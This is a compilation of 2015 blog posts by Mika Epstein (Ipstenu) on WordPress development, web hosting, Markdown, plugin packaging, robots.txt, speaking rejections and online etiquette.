> I do not agree with what you have to say, but I’ll defend to the death your right to say it. ~ Voltaire
## Is It Censorship?
Let’s be clear on this. The change to [Blogger’s Adult Content Policy](https://support.google.com/blogger/answer/6170671?p=policy_update&hl=en&rd=1) is pretty straightforward.
> Starting March 23, 2015, you won’t be able to publicly share images and video that are sexually explicit or show graphic nudity on Blogger.
Yes, this is a change to their Terms of Service (which they reserve the right to do at any time), but is it censorship for them to say “We don’t want hard core stuff on our servers”? That’s like saying a country music station on the radio is censoring heavy metal. No, they just don’t want to have it on their servers. Google’s said they don’t want that. They don’t want to do business or make money off of things they find morally distasteful.
Frankly I think the whole planet’s hang ups about sex are laughable. The majority of adults I know have consensual sex and like it. I do know a couple asexuals, and I know people who have reasons why they hate sex. I also know people who hate peanuts. It’s about the same thing for some of them (one has a traumatic peanut in his ear story that resulted in surgery and hearing loss). Sex is normal. It’s what everyone does and no one talks about (thank you George Carlin). So grown ups wanting to Google for information about the sex they want to have? There’s nothing wrong with that! There’s nothing wrong with kids looking that stuff up too. We used to hide in the back of libraries, looking things up when we didn’t feel comfortable asking our parents.
The argument that they’re not ‘censoring’ they’re just enforcing their guidelines falls flat when you remember that the definition of censorship is defined as acting as a censor. So yes, I think Google’s censoring, but in this instance they’re within their right to do so. That doesn’t mean I think it’s right, but I’ll support their *legal* rights.
## Is It Discrimination?
One of the sites hit up by this is a site where porn stars play D&D. I kinda like that site. It amuses me to no end and is how I learned about this change. They had just posted about how [they’re leaving the escapist](http://dndwithpornstars.blogspot.com/2015/02/were-not-playing-d-with-escapist-ever.html). They were talking about discrimination and general asshattery and non-inclusiveness. Their site may be punted off of Google’s Blogger service soon for being ‘adult’ by nature.
I’m actually not sure about that. But I really have no idea why their site is considered ‘adult’ in the first place. I’ve never read anything about sex there except this:
> I’m Zak, I live in Los Angeles. Most of the people I know here are women I know from being a porn “actor”–so they’re porn stars and strippers. So that’s who I play Dungeons & Dragons with.
First of all, I want to play with them because the game looks fun, but mostly I don’t recall ever reading adult or explicit content there. So of course I started thinking about how they could be making it harder for people to read about things that help them understand themselves. A lot of people sort out what they’re interested in by quietly reading stories about other people who had similar issues and thoughts and feelings. While Google’s only said they’re punting “sexually explicit” content, that’s a really slippery road.
> I shall not today attempt further to define the kinds of material I understand to be embraced within that shorthand description \[“hard-core pornography”\], and perhaps I could never succeed in intelligibly doing so. But *I know it when I see it*, and the motion picture involved in this case is not that.
That quote is from United States Supreme Court Justice Potter Stewart, used to describe his threshold test for obscenity in Jacobellis v. Ohio in 1964 (the film being Louis Malle’s *The Lovers*). We’re allowing, and trusting, Google to define what is and is not explicit. And this means that it becomes a case by case value judgement. Are two women kissing ‘explicit’? It gets messy really fast.
## Is It What I Expected?
Yes. I totally expected this.
> Google to punt all explicit blogs? Haaaaaaaaave you met WordPress?
I meant Self Hosted WordPress, James. Yes, WordPress.com *also* restricts and censors your content. It’s their playground. I will, till my dying day, support their right to do this. They don’t want to do business like that, fine. I wouldn’t argue the French restaurant that servers pomme frites needs to serve a hamburger or some chutney. That’s their business choice and it just means I can’t use them.
But it brings up the main reason why I still self-host.
As someone who self-hosts, I still have to be aware of the Terms of Use for my webhost, but generally that provides me a lot more freedom. I have a legal contract and a leg to stand on. As long as I don’t violate that, I’m good to go.
And of course I work for a company who would host anything, as long as it’s legal.
**Categories:** How It Is
**Tags:** essay, freedom, hosting
---
### [Markdown Isn't All Bad](https://halfelf.org/2015/markdown-isnt-bad/)
**Published:** March 9, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's painful to admit that Markdown really isn't as evil as I thought it was.
**Content:**
It’s not a secret I hate markdown. It’s annoying to remember various commands, and one of the things I loved about WordPress from the start was that I didn’t have to learn bbCode or anything beyond the HTML I knew. When Jetpack included Markdown, I was a huge opponent. I thought it was useless and pointless and a waste of space.
I now use it in many of my posts.
You see, I don’t write in the visual editor. I used to, but there are ‘glitches’ with it. Like I couldn’t see the embed for Facebook (it showed up blank for some reason), and I had trouble embedding video content that required me to paste in script code. Then when I starting writing code, like I do on this site, I needed to make sure the formatting didn’t get mangled. It all boiled down to giving me two places where I use the Visual editor, and everything else is text.
That’s all well and good until I fell in love with my iPad mini.
You see I also have a major annoyance with the iOS app for WordPress. It’s too easy to post to the wrong site and it’s problematic when you want to upload featured images or make custom excerpts or have any custom post types. That means I use Chrome or Safari on iOS to write blog posts. If I’m offline, I write it up in Notes or Byword and just have it there until I’m ready to import. But I use WordPress in my browser because that’s where it works ‘best.’
Except HTML on an iPad is a pain in my ass.
It really, really, is. The number of clicks you have to do just to make a header, or strong text, is annoying. It’s three clicks to make an `` and it’s not even in the same place. It’s one click to get to the numbers, another (one *up* from where you hit to get to numbers) to go to advanced characters. Then you can press the button. Any chance I have to minimize my clicks means I can type even fast.
And you bet your bippy I’m fast at typing on my iPad.
> Markdown’s syntax is intended for one purpose: to be used as a format for *writing* for the web.
[John Gruber’s Markdown syntax primer](http://daringfireball.net/projects/markdown/syntax) is the only place that really took the time to make sense of Markdown to me. Everyone else just said ‘It’s what we use’ or ‘It’s faster’ or (worst) ‘It’s better.’
No. No. No. Better is what works for you. HTML, for the most part, works for me. And for me, a small subset of markdown syntax terms work very, very well to speed up my writing:
```
## Title
### Subtitle
> Blockquote
```
There are a few more, like the codeblock (which I don’t use, since I like pretty formatting better) but the ability to use backticks and say `` is pretty nice.
So do I like Markdown? No. It’s hard to remember ‘new’ syntax. But the ones I can use without having to close tags makes me a little happier and speeds me up a bit. For that, it’s pretty good. I can use it to enhance my HTML, and I wish that MediaWiki let me use HTML and Markdown instead of their woe begotten WikiSyntax. My kingdom for `` in MediaWiki. Am I right?
Now. If I could just get John Gruber to increase his font size.
**Categories:** How To
**Tags:** cms, essay, language, open source
---
### [Mailbag: Being Rejected Is Good](https://halfelf.org/2015/mailbag-rejected-good/)
**Published:** February 27, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You lose more than you win, and losing hurts worse than winning feels good.
**Content:**
> Do you talk at every WordCamp you go to?
Nope.
You probably wanted a longer answer. I suspect the real question is “If you apply to speak at a WordCamp, are you always accepted?”
Nope.
Looking at the numbers, I speak at just over half the WordCamps I attend. I apply to about 75% of them (yes, sometimes I intentionally do not apply, it’s nice to just *go* to a camp). I’ve been specifically asked to apply to a couple, and I’ve been requested to speak (no application) at two I think (one I did not manage to attend, sorry).
But I’ve applied to multiple WordCamps and not been selected to speak, like WordCamp San Francisco 2014.
It doesn’t bother me much.
Oh, it bothers me some, since I don’t often get to find out why. Sometimes I do. I like when I do. But looking at WCSF 2014, I assumed I was a long shot. I’d spoken at the last two, there were a high number of applicants, and lets be honest, we should get some new faces in there. I also don’t think I submitted the best application, but it was rather obligatory that I do submit, so I did.
Still, it’s good to get that rejection email, especially when they do tell me things like “We already had X number of speakers apply about Foo, and you’re not local.” I love hearing that one. Yes, pick local! The generic rejections, like from WCSF (I swear I’m not picking on it) makes sense when you consider the mountains of submissions. Same with WordCamp NYC. I submitted twice, once something I picked and once was something they posted as ‘Talks we’d like.’
That’s my magic sauce for speaking, by the way. I ask what kind of talks they’re looking for, or what the theme of the WordCamp is. A WordCamp based on security should have a security themed talk. A WordCamp with a high number of bloggers and community runners probably would benefit from a talk about dealing with the community. Not everyone has a wide range of topics they can talk about, of course, but it’s still good to broaden your own horizons and talk about what both makes you comfortable and what doesn’t.
The rejections I learn from. I try to ask what about it wasn’t right. What did people want and not get, what did they not want. This works well with my job, because I’m supposed to be keeping in tune with how people are using WordPress, and being rejected means I learn where I’m wrong.
Does it hurt? Of course. ‘Losing’ in any sense of the word is painful and uncomfortable, and all the time I tell you that you can learn from it doesn’t make that feel any better. But what will make you feel better is next time. Because if you do learn from it and become better at what you do, then you will speak at an event, or stand up and do a thing, or simply succeed, in whatever way you mean for that to be. And not much feels better than that.
My father told me once that you lose more than you win, and losing hurt worse than winning felt good. He’s right. And that hasn’t changed in my life one bit. What has changed is that I appreciate the winning a whole heck of a lot more, *because* I’ve lost.
**Categories:** How It Is
**Tags:** mailbag, speaking
---
### [What Themes Get Wrong](https://halfelf.org/2015/themes-get-wrong/)
**Published:** February 18, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There are things themes do that drive me up a wall.
**Content:**
I neither create nor review themes. I can fix a theme and edit one and hack one, but I don’t design them because I don’t visualize that way.
But boy do I see a lot of themes doing things in a way I can only describe as wrong.
## Packaging and Requiring Plugins
A lot of themes do this, and I can understand why. If you make a theme that’s meant to be a store, then of course you want it to be used with an ecommerce plugin. That makes sense. But then we have to think about the drama of Revslider or TimThumb and we have to question the themes that throw every feature into their code. Part of development is maintenance. This is an accepted responsibility and, in the case of plugins, we’re all used to upgrading them for maintenance. The same isn’t true of themes. People hate upgrading their themes, and it’s the fault of themes themselves, doing things wrong.
## Forcing Users to Edit Files
The first week of February I lost my mind at a theme. I had found a user who had run into a mod\_security error. They were trying to edit their theme via the WordPress theme editor and hitting save tripped the scanner. Why? The code in the functions.php file was phrased in a way that spooked the scanner. We walked her through SFTP, which worked, and I helped review the security rules to see if we could safely change them. But then I asked her why she was editing the files directly.
She wanted to edit her footer, to remove the ‘powered by WordPress and Theme’ line, and the only way was to edit the file.
That couldn’t be right, I shouted at my screen, but I tested and used the theme and was stunned. Yes. The theme was written in a way that the footer wasn’t editable unless you could code and use a hook to unset the action and make a new one. Even just a simple child theme wouldn’t help because the footer was handled in a function and not footer.php
No wonder users edit themes. But then it got worse.
## Forgetting About Cache
The top line in the header.php was a forced setting to create a new PHP session. There are a few problems with this. In many cases, having PHP sessions causes a cache to not serve cached files because the forced session tells it that the particular visitor is meant to have a unique sessions and its trying to honor that. The other common situation is that the first person makes the cache with their unique data, and all subsequent visitors get that cached data. Neither is desirable.
Why do people do it? I presume because when they built their features, they wanted to make sure each user got an individual view. But sessions are a cheap and dirty way about it. Sadly so are cookies, which a cache will either ignore in order to serve cache, or honor and slow a site down.
People remember to test a theme for speed and features, but so often they forget to test for cache.
## Un-WordPress Designs
When a theme makes its own custom interface, it’s harder for users to know what to edit and where. It’s the kind of cognitive dissonance that happens when you’re reading a book or watching a tv show and suddenly everything feels wrong. Like if Harry Potter and Dolores Umbridge started dating. Right. That’s how uncomfortable it is to see a theme with its own custom design for the admin pages.
Let WordPress be WordPress.
## Accessibility
I don’t meant on the front end. I mean did you know that there are very few themes that, on the back end, are fully accessible to the blind? It’s just not something people think about and it’s the worst thing a theme can do to the world. You may think that only a small part of the world is blind and you may not worry too much about such a small potential user base. But look back to the previous point. The less you design like WordPress the worse it is for users. All users.
## What Do You See?
What drives you batty?
**Categories:** How It Is
**Tags:** essay, themes, wordpress
---
### [Packaging Code](https://halfelf.org/2015/packaging-code/)
**Published:** March 4, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You can, and should, clean up your development before you push it live. And I don't just mean the language.
**Content:**
I love that people do it. I hate that they don’t review it.
The number of projects I review, only to find that the author ran a tool like Grunt to combine files, but forgot to go over what the result was is fairly high. And this is a problem when you consider how many times I have to tell people “Your submission still has demo files, test scripts, and other files that aren’t applicable for distribution.” What happens is that people use the very cool auto-scripts and never stop to make sure that everything’s right. They make sure the code *works* but they don’t remember to clean up the package.
So let’s talk about what should never be in your plugins for WordPress.org
## Deployment Scripts
Now I know a lot of people use scripts to copy their code from GitHub to WordPress’s SVN repo, and I think those scripts are great. They’re helpful, they speed up development, and please keep them out of your plugins. Your script should include a note not to distribute itself. I understand why, when you link us to the GitHub default zip, those scripts are in the review package, and that’s okay. But I do sometimes run a sweep through the repository to see how many people are accidentally including those SH files in their plugin packages. You’ve got to remove those. They don’t matter to the final product and without them, your plugin will be smaller.
## Demo Folders
Here’s the thing. They don’t matter. A lot of awesome 3rd party tools come with detailed demo files and extensive things you’ll never need. Those demo folders also tend to be where you’ll find all sorts of crazy things like Google Analytics tracking, calls to external resources (like jquery’s JS files), and more. Your users will rarely, if ever, need that sort of thing. They generally don’t notice it, unless you code it into your plugin, at which point you’d be better served by making it look like WordPress.
## Test Scripts
Your test scripts don’t need to be in your plugin. They’re cool, to make sure that the code is going to work before you push it, but that code doesn’t need to be in the plugin on my site, does it? No it does not. All automated tests should be separate from your plugin code files. People don’t need to see the Travis checks in the code on their sites. If they’re developers, they’ll go look for them at your code’s home, after all.
## Compressed and Uncompressed Files
Pick one. You don’t need both. When you’re talking about a framework or a library, it’s fine to pull in a minified (but not `p,a,c,k,e,r` compressed) version of the file as your own version. If there’s no need or plan to edit that file (and there shouldn’t be), you can make the plugin smaller. Of course, I feel that if the JS is all of 7 lines, for goodness sake, it’s fine to leave it all human readable.
## What Else?
What do people leave in plugin or theme packages that drive you up the wall?
**Categories:** How To
**Tags:** coding, development, essay
---
### [Mailbag: Wrong Robots](https://halfelf.org/2015/mailbag-wrong-robots/)
**Published:** February 20, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No, I really am still using the robots file I said I am. Just not here.
**Content:**
I got an odd email from ‘Yan’ who, amidst the odd hate and sexist filled remarks that apparently I don’t like people in the WP community, had a legit question:
> Seen your post:
>
> But… Your actual robots.txt does not reflect the content of the article. Hmmm…
Well. That was almost 2 years ago. And it never reflected the content of *this* site. I don’t care if this site has it’s images snagged. I have anti-hotlinking protection in my .htaccess anyway. It’s my other site, my massively major huge gallery with 10G of photos that I protect.
That brings up a point that many people miss about this site. I’m not always talking about what I do *here*. For example, I talked about making a [slide-up bit of code that duplicates WordPress.com’s follow tab](https://halfelf.org/2013/genesis-email-popup/ "Email PopUp"). That email setup isn’t here and it never will be. I’m not particularly worried about my followers’ ability to find the sidebar email registration box there. This is a site for slightly more technical people.
However, the site that code is on is a site visited by luddites, primarily. They want their news about their thing in a way that is simple, straightforward, and easy. They need a reminder. Also they share links on social media a lot, so making a slide-up that auto-pops when you come from Facebook or Tumblr or Twitter was the right choice to make sure people knew what was going on and how to sign up. It’s had amazing results.
There are lessons I learn from running multiple sites and I bring them all back here to people who would appreciate them.
Now if people wonder, yes I do think that Google’s still evil for how they hotlink images. Of course, I’d think them equally evil for copying my images. Image search is just a really messy thing. The two options you get for it is that either Google has a copy of all the images on the planet or they hotlink. Even assuming they’re clever enough to protect themselves from duplicate images using some sort of super powerful algorithm, you get those options and each has a problem. If you’ve copied everything, you have to have a file server the likes of which would make the pyramids look teeny tiny, and in both cases you need a database with enough speed to stop us all from running Google Pagespeed tests on Google.
Am I the only one who does that? Oh. Sorry.
We’re talking about Google being evil and robots.txt files. The site that I do block Google Images on has a very large robots:
```
User-Agent: *
# My stuff
Disallow: /cgi_bin/
# WordPress
Disallow: /trackback/
Disallow: /blog/
Disallow: /wp/
Disallow: /wordpress/wp-admin/
Disallow: /wordpress/wp-includes/
Disallow: /wordpress/xmlrpc.php
Disallow: /wp-admin/
Disallow: /wp-content/
Disallow: /wp-includes/
Disallow: /xmlrpc.php
Disallow: /wp-
# Gallery
Disallow: /gallery/albums/
Disallow: /gallery/themes/
Disallow: /gallery/zp-core/
Disallow: /gallery/zp-data/
Disallow: /gallery/page/search/
Disallow: /gallery/uploaded/
Disallow: /gallery/rss.php
Disallow: /gallery/rss-comments.php
Disallow: /gallery/README.html
Disallow: /gallery/rss-news-comments.php
Disallow: /gallery/rss-news.php
# Wiki
Disallow: /wiki/images/
Disallow: /wiki/bin/
Disallow: /wiki/cache/
Disallow: /wiki/config/
Disallow: /wiki/docs/
Disallow: /wiki/extensions/
Disallow: /wiki/languages/
Disallow: /wiki/maintenance/
Disallow: /wiki/math/
Disallow: /wiki/public/
Disallow: /wiki/serialized/
Disallow: /wiki/tests/
Disallow: /wiki/skins/
Disallow: /wiki/t/
Disallow: /wiki/index.php
User-agent: Mediapartners-Google
Allow: /
User-agent: Adsbot-Google
Allow: /
User-agent: Googlebot-Image
Disallow: /
User-agent: Googlebot-Mobile
Allow: /
User-agent: Browsershots
Allow: /
User-agent: Dotbot
Allow: /
```
So yes, actually, I am still using that code. There you are.
**Categories:** How It Is
**Tags:** administration, mailbag
---
### [Don't Be Rude (Except When You're Not)](https://halfelf.org/2015/dont-rude-except-youre/)
**Published:** February 16, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** While Wikipedia fails at it's own tenets regularly, I strive to remember this one: assume good faith.
**Content:**
> Don’t be rude with devs (hello Mika)
A mysterious person named John posted that as a comment to a post about [WordPress suffering from the inventors dilemma](http://wptavern.com/is-wordpress-suffering-from-the-innovators-dilemma#comment-63672).
I replied ‘Hello John’ and added “(I’m sure many people feel I’m rude though I have no idea why John does.)”
From there on, many of my friends replied that I wasn’t rude. Or in the case of Brianna, when I said I was rude on occasion, she replied:
> “on occasion” seems like the perfect amount to me.
When two people are passionate but have opposing views on a situation, one or the other is always ‘rude.’ This is just what it is. Rudeness is something that is very situational and subjective. We’re talking about a world where we put our hearts and souls on the line with our code or our problems and, sometimes, someone comes back and says “No” or “That’s the way it is” and they’re rightly annoyed.
This does not mean they were rude.
Except that it does.
I try very hard to be polite, especially to people doing me a favor or providing a service, and I try very hard to respect their time. I try to remember that just because someone is terse doesn’t mean they’re angry with me, they’re probably just trying to get through their day. I try to thank people (especially when I call in to anything insurance or travel related). I try to remember they’re people.
But I know that, when you’re talking to someone who has deep emotions, who feels a great amount of fire in their heart for something, the opposition or the speed-bump can be met with great ire and angst. The person who says ‘no,’ which frankly is my job many times, is the enemy. They’re against you because, clearly, they’re not for you.
Except that they’re not.
Am I rude? I’m sure that, on occasion, I come across to someone as rude. I’m sure that sometimes when I bang out a fast answer, my brusqueness is perceived as disrespectful. I’m sure that my unexpected replies feel like a breech of etiquette. And maybe sometimes they are. I don’t always phrase myself perfectly. I’m not patient enough all the time.
But I’m not a rude person. I’m always coming from a place where I’d like to help people and educate them. I’m generally a smiling, nice, person. When I’m not able to be that me, I shut myself up at home and read and write, I go for a run, I play ping pong, and I blow off steam. You will rarely see the angry, inconsiderate, insensitive, mean, me. That Mika exists, but she’s not allowed to come out and play. The closest you’ll get is if I feel the need to come to someone’s defense. Like calling my friends or coworkers vile names.
This doesn’t mean I’m a nice, wonderful, polite person. It just means I’m a person, like you. I’m sure I’m rude. I’m sure I’ve pissed people off. But unless I’ve told you so, it’s unlikely I’m actually being intentionally nasty to you. Maybe I was trying to be serious when you were being a little silly. Maybe I was silly when you needed serious. Communication issues happen. We should try to learn from then and move on.
When we’re thinking about a world that exists primarily in text, our communication woes become more important. The majority of my work with other people is in email, instant messages, and once in a while, video chat. But mostly it’s text. This means I cannot read your ‘tone’ easily. When I know someone well enough, I can hear their voice in my head. Like I read Otto’s email saying “Here’s the thing…” and I know his intonations. When I see Jan message that has “Hah!” in it, I know it’s the somewhat self-deprecating amusement of the universe. When I see James’ “Nooooo!” I know he’s making like Darth Vader. I bet I can even tell which face Jen’s making when her email consists of “Mika.” Sorry about that.
But these are people I know and work with. Figuring out which emotion is behind a sentence of “You’re not doing that right.” is hard. Was I mean? Was I terse? Was I frustrated? Was I brusque? Maybe I was just tossing that off as the shortest way to explain something. It’s hard to tell. And because it’s hard to tell, it makes the online world of open source development fraught with headaches.
The best advice I can give you is that if someone says “Can we start over?” to take them at face value and start over. It’s so very easy to go down the wrong path for too long that you get lost. Remember it’s okay to let go and start over.
**Categories:** How It Is
**Tags:** essay, rant
---
### [Cheap Is As Cheap Gets](https://halfelf.org/2015/cheap-gets-cheap/)
**Published:** February 11, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Spending money to make money isn't a new concept.
**Content:**
I have nothing against people on a budget. I understand not being creme-de-la-creme and needing to be careful.
I really boggle at people who want to run a company website, but feel $15/month is ‘too much.’
How much do you spend on your car every month? We’re talking gas, insurance, cleaning, maintenance, and so on. You do that for a reason. You need your car to get you places. It’s an investment in your work. You can’t get to your work without a car so you take care of it to keep it secure, you clean it because it smells, and you pay for insurance in case the worst happens.
Your website is running 24/7 and costs you $15/month and that’s too much for your business? You need to rethink your business model. That’s under $200 a year. That amount of money should be affordable for anyone who’s running a business, even on a shoe-string budget. What really gets me, though, is the person who emailed me saying $200 a year was too much did it from an iPhone. They had the ‘Sent from my iPhone’ signature line still on it. While it’s certainly possible they got a cheap pay-as-you-go plan and a used phone, the reality is they look at the cost and don’t see an immediate value.
Let’s turn this around.
$15 a month is about:
- six gallons of gas (from the Arco down the street)
- five fancy cupcakes from Wildflour Cupcakes
- four grande lattes from Starbucks
- three gallons of milk (probably less in some places)
- two craft beers
- one tin of canned unicorn meat
But we get an immediate value in all those things. We can see the gas, the cupcakes, the unicorn meat, and we see the direct application of our money to a ‘thing.’ A website is different. It is a nebulous entity and floats out there in the cloud. When you’re not selling anything on your website, what’s the point?
Lately I’ve taken to asking people “How much are you planning on spending on advertising a month?” If the answer is ‘nothing’ then I tell them they need to consider it for their company if they plan on getting anywhere. If the answer is a realistic amount, I tell them to allocate $15 a month for webhosting. They need to have a web-presence. It’s 2015, people will want to see who they are, so make a good, informational, site. Don’t put a ‘blog’ up unless there’s a plan to publish to it regularly. Don’t use code you can’t support. Don’t use a host where you can’t get your content back easily (which is really my only issue with things like Wix).
But $15 a month is pennies to the traffic a website can bring you. If you sell three gallons of milk a month, you’ve broken even, after all.
**Categories:** How It Is
**Tags:** essay, hosting, website
---
### [Rant: Worse than a Popup](https://halfelf.org/2015/rant-worse-popup/)
**Published:** February 13, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Ads worse than popups? Sure. But it's iOS only.
**Content:**
I hate popup ads. Everyone does. You’re trying to read an article, perhaps on your phone, and these inline popups show up and obscure the content with ads for things you don’t care about.
We hate them more when they play music.
We hate them more when you can’t click on the tiny X on a phone.
But I have something I hate *even more than that* and it’s Apple’s fault.
You see, I use Safari sometimes to read on my phone. This is all well and good until I scroll on a slow site (probably slow because of their abuse of javascript laden social media toolbar crap that we didn’t care about to begin with) and my finger accidently brushes an ad. And then the ad opens the App Store to ask me if I want to download some idiotic game.
I take deep, calming, breaths and then I close out of the App Store, go back to safari, and I leave the page. Most of the time the article remains unread.
And why is this Apple’s fault? After all, the fault should lie with the idiots who thought that the best idea for a mobile site would be to have a bajillion ads.
This is Apple’s fault for two reasons:
1. There’s no way to tell Safari not to open these
2. There’s no ‘are you sure?’ message from Safari to let you decline
In fact, in all my research, the only thing you can do is to clear the browser cache and set Safari to only allow cookies from Current Websites Only. But as Apple warns you, [that may cause issues with other sites](http://support.apple.com/en-bw/HT201265).
This can be fixed! Apple can simply make it an option (hidden) to hide this. But also you website designers and developers, if someone says they don’t mind the popup ads and lightbox garbage on the mobile site, I want you do to me a favor.
Say no.
The web won’t get better unless you make it better. Please don’t make a website you’d hate too.
Oh and those ‘cool’ floating sidebars with the tweet links? They look terrible when you zoom in on the teeny tiny text on your website.
Stop it.
**Categories:** How It Is
**Tags:** essay, rant, website
---
### [Mailbag: Trash the Blog Slug](https://halfelf.org/2015/mailbag-trash-blog-slug/)
**Published:** January 30, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You can remove the blog slug on your multisite, but you may not actually want to.
**Content:**
If you only knew how many times I got this one…
> When I made my multisite, it changed all the URLs on my main site from example.com/postname to example.com/blog/postname ! How do I change that!?
This is because you picked Sub*folders* for your network.
Now before you get into this, ranting that it’s wrong, please actually read all of first. The initial ticket was that if you used subdomains, you were also locked into using `/blog/`. We’ve obviously fixed that, but it brought up a bigger issue.
Why do we keep it? To prevent conflicts. If you use `/blog/%postname%` and have a post named “humperdink” and another subsite named the same, it would cause a mess of problems. It’s one thing to search all your pages for possible conflicts (remember, your pages will still show up as `example.com/pagename`), most people only have a few pages. But once you factor in the hundreds of posts, it gets really crazy. If you have an open Multisite, where anyone can register any site, you have no way to doublecheck the URLs.
So we’re making sure we don’t conflict with posts and sites, which is pretty impossible to do without a massive DB query every time you post, as well as pages and sites (less massive). I think that we should have *some* slug in there for those reasons.
Or as Nacin put it when he detailed out [a potential roadmap for Multisite](https://make.wordpress.org/core/2013/10/06/potential-roadmap-for-multisite/):
> **Dealing with URL Conflicts**
>
> Perhaps the greatest change will be addressing the issue of the main site gaining a `/blog` prefix. This is ostensibly to avoid top-level pages on the main site from clashing with sub-sites. With arbitrary domain support (via domain mapping primarily, and secondarily via secondary networks), any site with path `/` can clash with any other site with the same domain but a different path. With multiple path segments (nested sites), any site with path `/X/` can have pages that clash with site `/X/Y/`.
>
> Ultimately, this requires two-way blacklisting. Before a site is created, it must be checked against top-level URLs of the possibly conflicting site. And, before a page is created, it must be checked against sub-sites that already exist. If an `/about/` page already exists on `example.com/`, an `/about/` site cannot be created. But if an `example.com/blog/` site already exists, a `/blog/` page cannot be created on `example.com`. This gets complicated quickly, and is a very strong argument for only supporting one path segment in core by default, and allowing plugins to handle these potential conflicts on their own. In most cases, simply ignoring the potential conflicts is going to be sufficient.
You see the headache? But hey, if you’re sure it won’t be a problem, you can do this yourself.
Edit the site via network admin -> sites
Click on settings and scroll till you find the permalink settings:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/01/site-settings.png)
Remove blog and save. Done.
Now bear in mind, should you **ever** change permalinks on the main site, you will have to go back and do that again. This is because on the permalinks page, it’s hardcoded in:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/01/permalinks.png)
Also some plugins will refresh permalinks and accidentally put it back in, so you need to be very careful. Someone wrote a cron job to re-write that value every hour in the DB.
**Categories:** How To
**Tags:** multisite, wordpress
---
### [A Case For Hello Dolly](https://halfelf.org/2015/hello-dolly/)
**Published:** February 9, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We all start from different places, and Hello Dolly represents the hopes and dreams of every developer out there.
**Content:**
I like it.
I never use it, but I like it.
I delete it, but I like it.
It’s not professional, it’s not beautiful, and it’s not something that makes WordPress look grown up.
And I think needs to **stay** in the core download of WordPress.
Let me tell you a story of you. Let me remind you of yourself. Not the you of today who knows all amazing things. Remember the you who was young and inventive but inexperienced. The you who knew how to throw a football but couldn’t throw a spiral. Or you knew how to drive a car and not stick shift. The you who delighted when you learned all those things, like a child with a new toy.
That you was not professional yet. That you needed an example for how to do new things. You had teachers and friends and parents who showed you the ropes.
That’s what “Hello Dolly” is. Hello Dolly is the Hello World of WordPress, and it makes a plugin suddenly seem like a non-insurmountable task. We can all look at that one file and see either inspiration for code we can make, or a sudden lack of terror for what WordPress is. Like I tell people in training classes, WordPress is just files, folks. A plugin can be just that file. And you can take the idea and run with it. More than just a training tool, it’s the epitome of open source. It’s code, freely given, than serves as a first step for people who come to WordPress with no formal education. It’s free. It embraces the goals we want to see in open sourced code.
So it needs to stay in WordPress, because you needed it once. Does it make an annoying extra step for you to delete it when you’re installing WordPress for your clients? Maybe, but for me it makes a moment where I can look back at myself from 2009 and see how far I’ve come from the woman who was too scared to speak at a WordCamp to become a WordPress professional.
I’ll take that one extra step and never forget where I came from.
**Categories:** How It Is
**Tags:** coding, development, essay, open source, wordpress
---
### [Overreaction to Negative Reviews](https://halfelf.org/2015/overreaction-negative-reviews/)
**Published:** February 2, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The anger comes from deep within ourselves.
**Content:**
I’ve long since held the belief that our reactions to critical judgement of our work hurts so much because it’s so personal.
This has never been more true than on the Internet. In the world of distributed and isolated development, we often end up writing in a sandbox. We sit down and tune out the world and write code. And then we just deploy it to the masses for real-world testing. Many people are unit testing, which helps a lot, but as we’re such a distributed development world now, we rarely get the sit-down feedback we might with a company.
With that in mind, perhaps the over-reaction of people to their bad reviews (codewise) is a function of this distributed environment.
You’ve seen it, I’m sure. You leave a low-star review on someone’s product, annoyed that it doesn’t do something you think it should, and you’re replied to with vitriol. You’re astounded! You know that a one-star review kinda sucks, but you didn’t expect name-calling or, worse, someone to find your personal contact information and tell you that you deserve to die and you’re an idiot for not understand what code is.
I didn’t make that up. That’s happened. And since it happens, the question is *why* does it happen?
It comes back to the way we both develop code and the way we share it. The easier we make it to share our code in things like Github or official, public, repositories like the WordPress.org plugin repository, the closer the connection we make between developer and user. If you consider how it ‘used to be,’ the person who wrote the code may never meet any of the people who use the code. I’ve used Safari for years, but I have no idea who wrote it. Conversely, I’ve actually communicated with many of the Chrome developers about issues I’ve see and unexpected results. And goodness knows we all just ‘cope’ with how terrible things can be in Microsoft Word.
We’ve made the world more accessible for people to communicate directly the issues they’re having with software. This is a good thing. It allows us to develop faster and iterate code faster. We make things better faster. At the same time, it opens us up to issues like handling negative reviews.
If you’ve seen the movie *Office Space*, there’s a character whose job it is to take information from the customers to the developers, because developers are bad with people. We all laughed at that because we all saw the grain of truth. That tiny nugget of truth was that people who can bury their heads in the sand for hours to invent things are kind of weird people, and they don’t always communicate the way the ‘rest of the world’ does. Of course, now it’s 2015 and we know that it’s just not so. We all communicate similarly. Some of us just have more patience than others because we’re used to working with people more often.
Sunday is the 17th anniversary of the term “Open Source” in how we use it today. There was a [public call to use ‘open source’ instead of ‘free software’](http://www.catb.org/~esr/open-source.html), and we heeded the call. But open source has changed a lot from that day. We’re not just talking about free software that anyone can take and develop but the open lines of communication that allow us to develop it by working with the users in a closer relationship.
While many of us develop in isolation, writing and testing code by ourselves, the moment we release it to the masses we’re terrified. What if it breaks? It will. What if it sucks? It does. What if people hate it? They will. But we do it anyway, and when we, the developers, get that one-star review, it hurts. It punches us in the gut and makes us want to walk away.
Except… it shouldn’t. Certainly some reviews are made by absolute prats who demand the unreasonable. We don’t reply to support tickets for our free software fast enough, or maybe we didn’t refund their money when our store clearly says ‘no refunds.’ Maybe they hated it because we declined to add a feature. Maybe they just wanted to rant at us for 500 to 1000 words.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/01/unicorn.png)
